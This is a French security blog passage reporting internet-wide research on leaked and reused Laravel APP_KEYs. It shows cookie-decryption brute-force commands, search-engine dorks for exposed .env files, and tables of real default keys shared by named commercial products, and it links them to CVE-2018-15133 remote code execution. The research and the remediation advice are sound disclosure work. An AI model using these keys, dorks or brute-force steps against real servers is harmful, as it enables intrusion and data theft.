Il est à noter que toutes les vulnérabilités précédentes pouvaient être exploitées sans authentification tant que l'APP_KEY par défaut du projet n'était pas modifiée par les développeurs. Toutes les vulnérabilités mentionnées ci-dessus sont maintenant corrigées.

Exposition des applications Laravel publiques

Attaques publiques précédentes basées sur une fuite de l'APP_KEY

Nous n'avons pas été les premiers à nous intéresser à ce problème, comme le montre Androxgh0st, l'une des attaques les plus récentes qui a exploité une fuite de APP_KEY, cette attaque a été perpétrée en janvier 2024. Ce logiciel malveillant a été conçu pour scanner Internet à la recherche d'applications Laravel, ciblant spécifiquement les fichiers .env mal configurés. L'objectif d'Androxgh0st était de voler des données de connexion sensibles dans ces fichiers, ce qui pouvait potentiellement permettre un accès non autorisé à diverses applications.

En cas de récupération réussie des identifiants, Androxgh0st exploite la CVE-2018-15133, qui est similaire à la vulnérabilité décrite affectant Snipe-IT décrite précédemment. Cette vulnérabilité permet aux attaquants d'obtenir une exécution de commandes à distance sans authentification préalable, à condition d'être en possession de l'APP_KEY de l'application, ce qui peut potentiellement entraîner des fuites de données importantes.

Cependant, la première étape de cette attaque consistait à faire fuir manuellement l'APP_KEY avant d'exploiter la CVE-2018-15133. Dans la suite de cet article de blog, nous verrons que plusieurs serveurs exposés publiquement sont encore malheureusement encore vulnérables à ce scénario d'exploitation, et que d'autres APP_KEY de projets exposés publiquement ont déjà fuité.

Comment identifié l'APP_KEY d'une application Laravel

Il existe un moyen, sans authentification préalable, de savoir si un APP_KEY est valide sur n'importe quelle application Laravel. En effet, sur une installation Laravel par défaut, deux cookies seront toujours définis :

  • XSRF-TOKEN: utilisé comme jeton CSRF.
  • laravel-session: utilisé comme jeton de session pour authentifier la session en cours. Cependant, le préfixe avant session peut changer en fonction du nom de l'application.
# curl on a default Laravel installation
$ curl http://localhost/ -I
HTTP/1.1 200 OK
Host: localhost
Connection: close
X-Powered-By: PHP/8.3.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Date: Mon, 23 Jun 2025 12:05:20 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilord3hQZ3hJaUR6bFdvKy9pclZYMmc9PSIsInZhbHVlIjoiSTdBZ2tybVN5a0U4Y1VyVDFoNFhOL0g2aFNSZUY0c2NTZjROd2piQW82NDE5dXFUclFSNUVMS0hvS2k1ZHZpM2hOcUpqeDR0N0lnWHVObHA3VjJ3c2tiNHNoQnMxcHJVYzVOTzg0a1kxNVhhcXZMeHNqOWtWaGgydGZ5d1RTbHYiLCJtYWMiOiIyMDU2YzZkZTU2MmUxZmI3YWNlMjQwZGFiYzIzOGI1M2QxMDIyMGEyYzc3N2RlOTE2NWE4ZGI1YTE2N2RkYmI5IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; httponly; samesite=lax

Par défaut, chaque cookie défini par Laravel est une valeur chiffrée via la fonction encrypt. Par conséquent, ces valeurs peuvent être utilisées pour forcer la découverte de l'APP_KEY associée par force brute.

Afin de tester des milliers d'APP_KEY, nous avons ajouté l'option bruteforce à laravel-crypto-killer :

$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
  0%|                                                     | 0/1 [00:00<?, ?it/s]
[+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
Key : base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA=
[*] Unciphered value
1beeb01afabf67cf1a1661bb347aa20dd68fff0f|BRrlfYbBn5XQK2vkYAcu7GVSABKSQrskDVjtQmgx
100%|█████████████████████████████████████████████| 1/1 [00:05<00:00,  5.00s/it]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[-] No serialization pattern matched, probably no way to unserialize from this :(
[+] Results saved in the file results/results.json

Récupération massive des chiffrés Laravel

Afin d'avoir une vue d'ensemble plus large, nous avons cherché un moyen de récupérer autant de chiffres Laravel exposés que possible, pour faire des statistiques et voir comment les APP_KEY sont réellement gérés.

Comme dit précédemment : sur une installation Laravel par défaut, deux cookies seront toujours définis : XSRF-TOKEN et laravel-session.

Ce que nous n'avons pas encore dit, c'est qu'ils seront envoyés par Laravel sur sa route par défaut tant qu'il ne s'agit pas d'une redirection. Ce comportement est fascinant pour deux raisons : nous pouvons facilement avoir une idée du nombre d'instances Laravel en utilisant n'importe quel moteur de recherche cartographiant Internet, mais surtout, ces cookies sont des valeurs chiffrées par Laravel !

Cela signifie que l'on peut utiliser ces cookies comme un chiffre pour tenter de forcer l'APP_KEY de n'importe quelle application Laravel exposée publiquement. De plus, le nom du cookie XSRF-TOKEN est immuable et défini par défaut, c'est donc une bonne heuristique pour déterminer si une application est basée sur Laravel.

Après avoir compris cela, nous avons rapidement voulu mettre la main sur cet ensemble de données au meilleur prix possible et avons comparé plusieurs moteurs de recherche comme ZoomEye, Onyphe, Censys (qui semblait avoir l'ensemble de données le plus complet avec 3 000 000 de XSRF-TOKEN disponibles) et enfin Shodan.

Nous avons finalement choisi Shodan16 car il était de loin le moins cher par rapport aux autres, ce qui a permis de récupérer 1 million d'entrées pour 60 dollars. Nous avons pu extraire et assainir 580 461 chiffrés au total sur 679 866 sites web ayant un XSRF-TOKEN défini en juillet 2024. Nous avons également pris un autre ensemble de données le 31 mai 2025 contenant 625 059 chiffrés assainis sur 672 481 XSRF-TOKEN publics.

shodan_stat_edit
dataset de XSRF-TOKEN définis dans les cookies le 11 juillet 2024.
xsrf-may-2025
dataset de XSRF-TOKEN définis dans les cookies le 30 mai 2025.

Récupération massive des APP_KEY

Comme nous l'avons vu, les applications Laravel modernes chiffrent les données en utilisant une combinaison par défaut de AES-256 en mode CBC et un HMAC. De plus, l'APP_KEY est générée via la fonction random_bytes17  de PHP function, qui est actuellement considérée comme cryptographiquement sécurisée.

Cela signifie que la valeur de l'APP_KEY sur une application Laravel ne peut pas être identifiée par une force brute pure. En tant qu'attaquant, on peut espérer que les développeurs aient manuellement écrit une phrase base64 de 40 caractères, ou qu'ils aient encodé une chaîne de 32 caractères, mais cela reste très peu probable (bien que ça soit arrivé dans certains cas !).

Par conséquent, afin de récupérer un grand nombre d'APP_KEY, nous avons utilisé plusieurs méthodes. Nous avons essayé de les identifier en juillet 2024 en :

  • Utilisant des "dorks" GitHub : github-dorks -q "APP_KEY=base64" -p php
  • Utilisant des "dorks" Google : ext:env intext:APP_ENV= | intext:APP_DEBUG= | intext:APP_KEY=
  • Recherchant des APP_KEY codées en dur dans la documentation publique de Laravel ou sur des forums publics.
  • Ou en cherchant dans d'autres projets publics comme BadSecrets19 qui possèdent déjà des listes de mots contenant des APP_KEYs.

Même si ces méthodes semblaient assez prometteuses, elles étaient difficiles à automatiser efficacement, et nous n'avons pas été en mesure de récupérer autant de clés : un total de 1171 d'entre elles pour être exact. Il va sans dire que ce résultat était médiocre par rapport aux 679 866 projets Laravel disponibles publiquement identifiés via Shodan.

first_cracking_stats_grehack
Schéma montrant l'évolution de nos tentatives de brute-force depuis GreHack 2024.

Après avoir effectué cette première série de tests, nous avons conclu que cette recherche était suffisante en l'état et avons décidé de présenter nos résultats et les vulnérabilités identifiées à GreHack 202420.

Une aide inattendue : discussion avec GitGuardian

Après notre présentation, Mickaël et moi avons profité d'une petite pause. C'est à ce moment-là que nous avons rencontré Guillaume Valadon de GitGuardian, qui était également enthousiaste à l'idée de rechercher des APP_KEY sur des projets mal configurés.Cela nous a poussés à aller encore plus loin dans la recherche : nous avons entamé une collaboration où nous avons pu améliorer nos résultats en utilisant leurs ensembles de données, GitGuardian a également pu améliré leur service de détection21 ainsi que leur service Public Monitoring qui scanne en continu les dépôts GitHub publics en temps réel pour alerter les organisations lorsque leurs secrets sont accidentellement divulgués22.

Quelques jours plus tard, GitGuardian nous a donné accès à une première liste d'APP_KEY qu'ils avaient collectées de 2018 au 20 décembre 2024, contenant un nombre impressionnant de 212 540 APP_KEY.

GitGuardian nous ont envoyé un autre ensemble de données par la suite, contenant un total de 267 952 APP_KEY de 2018 au 30 mai 2025.

Nous avions maintenant tout ce qu'il fallait pour améliorer notre analyse. Cependant, nous avons rencontré un dernier problème bloquant : nous avions tellement d'APP_KEY et de valeurs chiffrées Laravel que laravel-crypto-killer n'était pas en mesure de traiter autant de secrets et de chiffres. En effet, il fallait déjà plus de 9 heures pour traiter tous les ensembles de données précédents.

laravel-crypto-killer bruteforce

Avec ce nouvel ensemble de données, le temps de traitement est passé à plus de deux semaines pour bruteforcer complètement toutes les valeurs chiffrées avec nos centaines de milliers d'APP_KEY.

Bruteforcer à grande échelle

Notre collègue Damien Picard s'est porté volontaire pour nous aider et s'est rapidement lancé dans l'optimisation du forçage par force brute. Cela a conduit à la création d'un merveilleux nouvel outil : nounours.

nounours a tellement optimisé le processus de brute force que nous sommes passés de quelques semaines avec laravel-crypto-killer à seulement 1 minute et 51 secondes pour bruteforcer l'ensemble des données.

# Example of output generated by nounours
$ nounours --encrypted-file all_tokens-30_05.txt --key-file all_app_keys.txt
Starting cbc bf on 624536 encrypted text with 267810 keys.
eyJpdiI6IllXUWF4dHNNY2k2eEE0cXduU1cxUEE9PSIsInZhbHVlIjoiR0JnWE9vTFoxVjJwbCtLN1F0eXIwSnl4d05RRFpQOXpXSWxFZUNzYkpIVWwwbnkzMk5oc0FGYW9LalJScVUxN2RiejhlOFJFVEp5bmxaYXY3QWtMdk13T3lnY1g3ei9jcnRMV1pPaFlLV091L1l2UGY0ZE5TczhUbmxBTHZXSjIiLCJ0YWciOm51bGx9:91b99c5f00e2f3f29cb872fcb806607643e84180|q2v4Xq3pi0fNUNkSDJTbqw9W2BB36Otb3mdWvYlv:aes-256-cbc:base64:U29tZVJhbmRvbVN0cmluZ1dpdGgzMkNoYXJhY3RlcnM=
eyJpdiI6Ik9kS3pPbjhzQWZYWXVDSzNMS1dhS0E9PSIsInZhbHVlIjoidXFKU09lVlc1azlPbGgraElRYzVVeDJZbVhuTWxjM0tRaWRzemxmQVc0cDFhMVpZSFpRTmNFVytVMjk1RFlsV09OdXA2enBJUFBsTDJ3d25SUnJTZ1E9PSIsInRhZyI6bnVsbH0=:s:40:"BEtS21PQRLgrN8PMNvWU4QUsy8nKu1iJEJRdWB0s";:aes-256-cbc:base64:Szj2KpQhjfDp750FRO0b6lS2+0TscGTaGbgCAvmnRdU=
eyJpdiI6ImNJbE42d05JUElpdlRONkZHaE5CM0E9PSIsInZhbHVlIjoiRHpzMGhCQTQxTURkTkNaRE9rM1JJNENza3BIMllHZUMwZHNuMTdmeXhmcysveFBweWM1NFl6cGFsSFUvdXgyNSIsInRhZyI6bnVsbH0=:RAR3rzmHMkqnP4qkJ4MXlPcHCbriK4ZJpmv4u6bc:aes-256-cbc:base64:W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA=

# Total time of bruteforce on all the dataset
$ time nounours --encrypted-file ../all_tokens-30_05.txt --key-file ../all_app_keys.txt > /dev/null
Starting cbc bf on 624536 encrypted text with 267810 keys.
Starting gcm bf on 58 encrypted text with 267810 keys.
Got through 167272519140 combinations in 110856611881ns
Speed: 1509M try/s

real	1m51.408s
user	28m27.245s
sys	0m0.710s

Pour résumer, Damien s'est concentré sur les domaines d'amélioration suivants :

  • Utiliser les allocations le plus précisément possible.
  • Utiliser les algorithmes les plus optimisés.
  • Utiliser autant d'instructions matérielles que possible.

Cependant, cet outil n'est actuellement pas disponible publiquement.

Analyse des résultats

Maintenant que nous avons minutieusement expliqué chaque outil utilisé, les données, les méthodologies, le raisonnement et la logique impliqués dans la récupération des valeurs chiffrées Laravel et des APP_KEY pour le brute force, passons à la partie intéressante : ce que nous avons réellement appris d'une attaque par force brute mondiale sur les chiffrés Laravel !

Différences identifiées entre juillet 2024 et juin 2025

bruteforce_from_june_2025
Évolutions des tentatives de brute-force sur les datasets depuis Grehack 2024.
  1. Toutes les données à gauche sont basées sur la force brute effectuée sur les chiffrés de juillet 2024. L'ensemble de données de GitGuardian a multiplié par 4 le nombre de chiffres déchiffrés avec succès.

  2. À partir de ce point, les chiffrés de mai 2025 ont été utilisés.

$ wc -l all_tokens-26_07_2024.txt
580461

$ wc -l all_results-26_07_2024_sorted.txt
23149

3,99 % des clés liées aux instances Laravel publiques de juillet 2024 ont pu être déchiffrées.

$ wc -l all_tokens-30_05.txt
625059

$ wc -l all_results-30_05_2025_sorted.txt
22212

3,56 % des clés liées aux instances Laravel publiques de mai 2025 ont pu être déchiffrées.

Comme nous pouvons le voir, le nombre de chiffres valides a légèrement diminué sur un an. Mais nous avons tout de même pu récupérer 3,56 % des APP_KEY de tous les projets publics d'Internet, ce qui est assez impressionnant étant donné qu'aucune interaction avec ces serveurs n'a été nécessaire pour obtenir cette information.

Évolution de l'exposition à la CVE-2018-15133

Puisque l'ensemble des données est basé sur le cookie XSRF-TOKEN, certaines données en clair identifiées sont en fait des données sérialisées PHP. Cela signifie que nous pouvons savoir, même sans envoyer de requête à aucun de ces serveurs, lesquels nous pourrions instantanément compromettre via une exécution de commande à distance en exploitant la CVE-2018-15133.

Nous pouvons savoir si un XSRF-TOKEN est basé sur des données sérialisées en examinant la manière dont les données chiffrées sont stockées. Si cela commence par s:(int), alors il s'agit de données sérialisées PHP.

# Example of patterns matching serialized data in nounours response
eyJp[...]4Rd";:aes-128-cbc:base64:U29tZVJhbmRvbVN0cmluZw==
eyJp[...]x9:s:81:"91b99c5f00e2f3f29cb872fcb806607643e84180|J49tSeWtRRJQs4EXYekwZnNKIa2JifinQnUdbA9z";:aes-256-cbc:base64:U29tZVJhbmRvbVN0cmluZ1dpdGgzMkNoYXJhY3RlcnM=
  • Sur l'ensemble de données de juillet 2024, 1326 serveurs exposés pouvaient encore être compromis par la CVE-2018-15133.
  • Sur l'ensemble de données de mai 2025, 1091 sont toujours vulnérables à la CVE-2018-15133.

Heureusement, nous pouvons constater qu'en l'espace d'un an, 17,7 % de serveurs en moins ont été détéctés comme vulnérables à cette CVE. Mais d'un autre côté, il reste encore plus d'un millier de serveurs qui sont à une seule requête d'être totalement compromis, et il y a de fortes chances à parier qu'ils le soient déjà.

Analyse du top 10 des APP_KEY

Il reste une dernière question à laquelle répondre à partir de toutes ces données : d'où viennent ces APP_KEY et pourquoi sont-elles autant réutilisées ?

top 10 APP_KEY July 2024 on public projects
Position Number of public servers sharing it APP_KEY Description
🥇 561 W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= Clé par défaut du projet UltimatePOS vendu sur CodeCanyon
🥈 491 SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= Couramment utilisée dans les projets bootstrappés
🥉 415 otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= Clé par défaut de XPanel SSH User Management
4️⃣ 313 U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk= Valeur base64 de SomeRandomStringOf32CharsExactly
5️⃣ 257 FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= APP_KEY partagée entre des projets sans rapport
6️⃣ 216 U29tZVJhbmRvbVN0cmluZw== APP_KEY par défaut sur les anciennes versions de Laravel (valeur base64 de SomeRandomString)
7️⃣ 198 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= Semble liée à plusieurs plateformes de gestion de portefeuilles de cryptomonnaies
8️⃣ 195 EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= Clé par défaut de WASender, un expéditeur de messages pour WhatsApp
9️⃣ 177 yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= Clé par défaut sur plusieurs projets basés sur l'IA
🔟 155 ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= Clé partagée entre plusieurs projets Laravel aléatoires, il semble qu'ils se copient mutuellement
11 152 RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= Clé par défaut sur Invoice Ninja
79 44 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= Clé par défaut sur Snipe-IT
top 10 APP_KEY May 2025 on public projects
Position Number of public servers sharing it APP_KEY Description Position since 2024
🥇 1650 W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= Clé par défaut du projet UltimatePOS vendu sur CodeCanyon 🟰
🥈 1132 xf8woJXKNEFH1rjGffK/GBw2KxjMsxkleON68YnWdaw= Clé partagée entre plusieurs projets d'une entreprise indonésienne 🆕
🥉 518 U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk== Valeur base64 de SomeRandomStringOf32CharsExactly ⬆️
4️⃣ 275 SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= Couramment utilisée dans les projets bootstrappés ⬇️
5️⃣ 275 otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= Clé par défaut de XPanel SSH User Management ⬇️
6️⃣ 203 U29tZVJhbmRvbVN0cmluZw== APP_KEY par défaut sur les anciennes versions de Laravel (valeur base64 de SomeRandomString) 🟰
7️⃣ 170 FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= APP_KEY partagée entre des projets sans rapport ⬇️
8️⃣ 165 BlQYTmcfZGV4XShvK5Z+ffNVWv0qszkUTRuEGmQ76lw= Clé par défaut de Rocket LMS vendu sur CodeCanyon 🆕
9️⃣ 164 EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= Clé par défaut de WASender, un expéditeur de messages pour WhatsApp ⬇️
🔟 157 hMS5VtciEk3t/0Ije8BCRl+AZOvU2gJanbAw5i/LgIs= Clé par défaut de Flex Home - Laravel Real Estate Multilingual System disponible sur CodeCanyon 🆕
11 153 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= Clé par défaut sur Snipe-IT ⬆️
19 94 ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= Clé partagée entre plusieurs projets Laravel aléatoires, il semble qu'ils se copient mutuellement ⬇️
24 87 yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= Clé par défaut sur plusieurs projets basés sur l'IA ⬇️
26 84 RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= Clé par défaut sur Invoice Ninja ⬇️
320 11 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= Semble liée à plusieurs plateformes de gestion de portefeuilles de cryptomonnaies ⬇️

Que pouvons-nous en tirer ?

La plupart des APP_KEY détaillées dans ce top 10 sont des clés par défaut de grands projets, ou sont partagées sur un même projet de développement hébergé sur plusieurs serveurs. L'APP_KEY n'est pas régénérée par défaut si elle est déjà définie dans un fichier .env. Par conséquent, si vous la définissez sur un projet que vous vendez à des clients, ils ne la changeront pas tant que tout fonctionnera, même si vous leur dites qu'ils doivent la régénérer dans la documentation officielle.

Les développeurs ont également tendance à réutiliser la même APP_KEY partout, c'est aussi une erreur courante que nous rencontrons lors de nos audits.

Le nombre d'instances utilisant l'ancienne APP_KEY par défaut de Laravel (SomeRandomString) diminue avec le temps, tandis que l'utilisation de la chaîne SomeRandomStringOf32CharsExactly augmente.

De nombreuses sources de projets commercialisés sont en fait disponibles publiquement, les clients ont tendance à acheter des projets Laravel puis de les publier publiquement sur GitHub.

La plupart des 10 premières APP_KEY proviennent de projets vendus sur CodeCanyon, cette plateforme semble être utilisée par de nombreux clients à la recherche de projets basés sur Laravel.

Enfin, une statistique déprimante : en 2024, il y avait 44 instances de Snipe-IT exposées publiquement qui pouvaient être compromises via la CVE-2024-48987, que nous avons détaillée plus tôt. De nos jours, en 2025, cela devrait être mieux, non ? Eh bien, le nombre d'instances de Snipe-IT publiques vulnérables est maintenant de 61 ! Bien qu'un correctif et une CVE aient été attribués depuis.

Conclusion

Ce fut un long voyage d'un an de recherche sur la gestion de l'APP_KEY, c'était un sujet fascinant qui a impliqué plusieurs personnes au fil du temps. Cela a même conduit à une collaboration avec l'équipe de recherche de GitGuardian. merci beaucoup pour votre aide Guillaume et Gaëtan ! Si vous voulez voir quels autres secrets pourraient fuir sur les projets Laravel publiés sur GitHub, vous pouvez également lire leur article de blog.

Cette recherche n'est pas figée dans le temps, elle est toujours d'actualité, des applications Laravel continueront d'apparaître chaque jour en ligne, elle pourrait donc être poursuivie dans le temps tant que les cookies Laravel restent basés sur des données chiffrées de Laravel. L'analyse des résultats sur une période prolongée rend ce sujet encore plus intrigant.

Même s'il peut y avoir quelques remarques provocantes éparpillées dans cet article de blog, cela ne signifie pas que Laravel est un mauvais framework : c'est en fait tout le contraire ! En pratique, il est rare de faire fuir une APP_KEY sans exploiter une autre vulnérabilité comme une lecture de fichier lors d'un audit. Par défaut, les projets Laravel généreront une toute nouvelle APP_KEY pour tout nouveau projet. En tant que développeur, votre APP_KEY est en sécurité tant que vous ne la divulguez pas sur des plateformes comme GitHub ou que vous n'exposez pas d'interface de débogage sur votre application.

La réutilisation de l'APP_KEY est l'erreur la plus courante identifiée lors de notre recherche : la majorité des APP_KEY réutilisées se trouvent dans des produits payants basés sur Laravel. Le meilleur conseil que nous puissions donner est de supprimer toute APP_KEY des produits que vous vendez et de forcer leur génération lors de l'installation.

C'est pourquoi, lorsque vous utilisez un projet basé sur Laravel, votre premier réflexe devrait être de régénérer une nouvelle APP_KEY avec la commande php artisan key:generate. Cependant, comme décrit dans cet article, d'autres prérequis sont nécessaires pour compromettre une application Laravel, même lorsqu'un attaquant est en possession de ce secret.

L'environnement Laravel est vraiment vaste et il y a une grande communauté qui travaille à l'améliorer partout dans le monde, donc si vous aimez faire de la recherche sur des projets basés sur PHP, tentez votre chance !

Nous espérons sincèrement que vous avez apprécié cet article de blog, car nous avons déjà prévu de publier d'autres contenus liés à Laravel dans les mois à venir !